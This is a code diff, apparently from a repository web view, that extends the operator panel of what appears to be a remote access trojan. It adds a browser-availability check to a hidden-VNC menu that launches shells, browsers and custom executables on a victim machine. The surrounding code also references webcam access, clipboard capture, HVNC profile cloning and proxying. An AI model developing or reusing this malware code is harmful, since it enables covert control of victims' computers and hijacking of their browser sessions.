data-action="start-cmd"
|
||||
>
|
||||
<i class="fa-solid fa-terminal mr-2 text-violet-300"></i>Start cmd.exe
|
||||
<div class="my-1 border-t border-slate-700/60"></div>
|
||||
<!-- Shells -->
|
||||
<div class="px-3 pt-2 pb-1 text-xs uppercase tracking-wide text-slate-500">Shells</div>
|
||||
<button type="button" class="w-full text-left px-3 py-1.5 hover:bg-slate-800/70" data-action="start-cmd">
|
||||
<i class="fa-solid fa-terminal mr-2 text-violet-300"></i>cmd.exe
|
||||
</button>
|
||||
<button
|
||||
type="button"
|
||||
class="w-full text-left px-3 py-2 hover:bg-slate-800/70"
|
||||
data-action="start-powershell"
|
||||
>
|
||||
<i class="fa-solid fa-bolt mr-2 text-sky-300"></i>Start powershell.exe
|
||||
<button type="button" class="w-full text-left px-3 py-1.5 hover:bg-slate-800/70" data-action="start-powershell">
|
||||
<i class="fa-solid fa-bolt mr-2 text-sky-300"></i>powershell.exe
|
||||
</button>
|
||||
<button
|
||||
type="button"
|
||||
class="w-full text-left px-3 py-2 hover:bg-slate-800/70"
|
||||
data-action="start-chrome"
|
||||
>
|
||||
<i class="fa-brands fa-chrome mr-2 text-emerald-300"></i>Start Chrome
|
||||
<div class="my-1 border-t border-slate-700/60"></div>
|
||||
<!-- Chromium Browsers -->
|
||||
<div class="px-3 pt-2 pb-1 text-xs uppercase tracking-wide text-slate-500">Chromium</div>
|
||||
<button type="button" class="w-full text-left px-3 py-1.5 hover:bg-slate-800/70" data-action="start-chrome" data-browser="chrome">
|
||||
<i class="fa-brands fa-chrome mr-2 text-emerald-300"></i>Chrome
|
||||
</button>
|
||||
<button
|
||||
type="button"
|
||||
class="w-full text-left px-3 py-2 hover:bg-slate-800/70"
|
||||
data-action="start-brave"
|
||||
>
|
||||
<i class="fa-brands fa-firefox-browser mr-2 text-amber-300"></i>Start Brave
|
||||
<button type="button" class="w-full text-left px-3 py-1.5 hover:bg-slate-800/70" data-action="start-brave" data-browser="brave">
|
||||
<i class="fa-brands fa-brave mr-2 text-amber-300"></i>Brave
|
||||
</button>
|
||||
<button
|
||||
type="button"
|
||||
class="w-full text-left px-3 py-2 hover:bg-slate-800/70"
|
||||
data-action="start-edge"
|
||||
>
|
||||
<i class="fa-brands fa-edge mr-2 text-sky-300"></i>Start Edge
|
||||
<button type="button" class="w-full text-left px-3 py-1.5 hover:bg-slate-800/70" data-action="start-edge" data-browser="edge">
|
||||
<i class="fa-brands fa-edge mr-2 text-sky-300"></i>Edge
|
||||
</button>
|
||||
<button
|
||||
type="button"
|
||||
class="w-full text-left px-3 py-2 hover:bg-slate-800/70"
|
||||
data-action="start-firefox"
|
||||
>
|
||||
<i class="fa-brands fa-firefox mr-2 text-orange-300"></i>Start Firefox
|
||||
<button type="button" class="w-full text-left px-3 py-1.5 hover:bg-slate-800/70" data-action="start-opera" data-browser="opera">
|
||||
<i class="fa-brands fa-opera mr-2 text-red-400"></i>Opera
|
||||
</button>
|
||||
<button type="button" class="w-full text-left px-3 py-1.5 hover:bg-slate-800/70" data-action="start-operagx" data-browser="operagx">
|
||||
<i class="fa-brands fa-opera mr-2 text-fuchsia-400"></i>Opera GX
|
||||
</button>
|
||||
<button type="button" class="w-full text-left px-3 py-1.5 hover:bg-slate-800/70" data-action="start-vivaldi" data-browser="vivaldi">
|
||||
<i class="fa-solid fa-globe mr-2 text-rose-300"></i>Vivaldi
|
||||
</button>
|
||||
<button type="button" class="w-full text-left px-3 py-1.5 hover:bg-slate-800/70" data-action="start-yandex" data-browser="yandex">
|
||||
<i class="fa-brands fa-yandex-international mr-2 text-yellow-300"></i>Yandex
|
||||
</button>
|
||||
<button type="button" class="w-full text-left px-3 py-1.5 hover:bg-slate-800/70" data-action="start-arc" data-browser="arc">
|
||||
<i class="fa-solid fa-globe mr-2 text-blue-300"></i>Arc
|
||||
</button>
|
||||
<div class="my-1 border-t border-slate-700/60"></div>
|
||||
<!-- Firefox Browsers -->
|
||||
<div class="px-3 pt-2 pb-1 text-xs uppercase tracking-wide text-slate-500">Firefox</div>
|
||||
<button type="button" class="w-full text-left px-3 py-1.5 hover:bg-slate-800/70" data-action="start-firefox" data-browser="firefox">
|
||||
<i class="fa-brands fa-firefox mr-2 text-orange-300"></i>Firefox
|
||||
</button>
|
||||
<button type="button" class="w-full text-left px-3 py-1.5 hover:bg-slate-800/70" data-action="start-waterfox" data-browser="waterfox">
|
||||
<i class="fa-brands fa-firefox mr-2 text-cyan-300"></i>Waterfox
|
||||
</button>
|
||||
<div class="my-1 border-t border-slate-700/60"></div>
|
||||
<!-- Custom -->
|
||||
<div class="px-3 pt-2 pb-1 text-xs uppercase tracking-wide text-slate-500">Custom</div>
|
||||
<button
|
||||
type="button"
|
||||
class="w-full text-left px-3 py-2 hover:bg-slate-800/70"
|
||||
data-action="start-custom"
|
||||
>
|
||||
<button type="button" class="w-full text-left px-3 py-1.5 hover:bg-slate-800/70" data-action="start-custom">
|
||||
<i class="fa-solid fa-file mr-2 text-slate-300"></i>Run custom exe…
|
||||
</button>
|
||||
<button
|
||||
type="button"
|
||||
class="w-full text-left px-3 py-2 hover:bg-slate-800/70"
|
||||
data-action="lookup-exe"
|
||||
>
|
||||
<button type="button" class="w-full text-left px-3 py-1.5 hover:bg-slate-800/70" data-action="lookup-exe">
|
||||
<i class="fa-solid fa-magnifying-glass mr-2 text-amber-300"></i>Lookup exe…
|
||||
</button>
|
||||
</div>
|
||||
@@ -286,6 +284,16 @@
|
||||
#hvncContextMenu.hidden {
|
||||
display: none;
|
||||
}
|
||||
#hvncContextMenu button.browser-unavailable {
|
||||
opacity: 0.35;
|
||||
pointer-events: none;
|
||||
cursor: default;
|
||||
}
|
||||
#hvncContextMenu button.browser-unavailable::after {
|
||||
content: " (not found)";
|
||||
font-size: 0.65rem;
|
||||
color: #94a3b8;
|
||||
}
|
||||
</style>
|
||||
</div>
|
||||
</main>
|
||||
|
||||
@@ -87,6 +87,7 @@ import {
|
||||
handleWebcamDevices,
|
||||
handleHVNCCloneProgress,
|
||||
handleHVNCLookupResult,
|
||||
handleHVNCBrowserCheckResult,
|
||||
handleHVNCDXGIStatus,
|
||||
handleClipboardContent,
|
||||
handleRemoteDesktopViewerMessage,
|
||||
@@ -615,6 +616,7 @@ async function startServer() {
|
||||
handleWebcamDevices,
|
||||
handleHVNCCloneProgress,
|
||||
handleHVNCLookupResult,
|
||||
handleHVNCBrowserCheckResult,
|
||||
handleHVNCDXGIStatus,
|
||||
handleClipboardContent,
|
||||
cleanupVoiceViewer,
|
||||
|
||||
@@ -85,6 +85,7 @@ type WsLifecycleDeps = {
|
||||
handleWebcamDevices: (clientId: string, payload: any) => void;
|
||||
handleHVNCCloneProgress: (clientId: string, payload: any) => void;
|
||||
handleHVNCLookupResult: (clientId: string, payload: any) => void;
|
||||
handleHVNCBrowserCheckResult: (clientId: string, payload: any) => void;
|
||||
handleHVNCDXGIStatus: (clientId: string, payload: any) => void;
|
||||
handleClipboardContent: (clientId: string, payload: any) => void;
|
||||
cleanupVoiceViewer: (ws: ServerWebSocket<SocketData>) => void;
|
||||
@@ -596,6 +597,9 @@ export async function handleWebSocketMessage(
|
||||
case "hvnc_lookup_result":
|
||||
deps.handleHVNCLookupResult(client.id, payload);
|
||||
break;
|
||||
case "hvnc_browser_check_result":
|
||||
deps.handleHVNCBrowserCheckResult(client.id, payload);
|
||||
break;
|
||||
case "hvnc_dxgi_status":
|
||||
deps.handleHVNCDXGIStatus(client.id, payload);
|
||||
break;
|
||||
|
||||
@@ -610,6 +610,21 @@ export function handleHVNCLookupResult(clientId: string, payload: any) {
|
||||
}
|
||||
}
|
||||
|
||||
export function handleHVNCBrowserCheckResult(clientId: string, payload: any) {
|
||||
const browsers: Record<string, boolean> = {};
|
||||
if (payload.browsers && typeof payload.browsers === "object") {
|
||||
for (const [key, val] of Object.entries(payload.browsers)) {
|
||||
browsers[key] = !!val;
|
||||
}
|
||||
}
|
||||
for (const session of sessionManager.getHvncSessionsForClient(clientId)) {
|
||||
safeSendViewer(session.viewer, {
|
||||
type: "hvnc_browser_check_result",
|
||||
browsers,
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
export function handleHVNCDXGIStatus(clientId: string, payload: any) {
|
||||
for (const session of sessionManager.getHvncSessionsForClient(clientId)) {
|
||||
safeSendViewer(session.viewer, {
|
||||
@@ -852,6 +867,9 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
|
||||
case "hvnc_lookup":
|
||||
sendHVNCCommand(target, "hvnc_lookup", { exe: String(payload.exe || "") });
|
||||
break;
|
||||
case "hvnc_browser_check":
|
||||
sendHVNCCommand(target, "hvnc_browser_check", {});
|
||||
break;
|
||||
case "hvnc_start_process":
|
||||
sendHVNCCommand(target, "hvnc_start_process", {
|
||||
path: String(payload.path || ""),
|
||||
|
||||
@@ -30,6 +30,7 @@ export const ALLOWED_CLIENT_MESSAGE_TYPES = new Set([
|
||||
"webcam_devices",
|
||||
"hvnc_clone_progress",
|
||||
"hvnc_lookup_result",
|
||||
"hvnc_browser_check_result",
|
||||
"hvnc_dxgi_status",
|
||||
"clipboard_content",
|
||||
"proxy_data",
|
||||
|
||||
Reference in New Issue
Block a user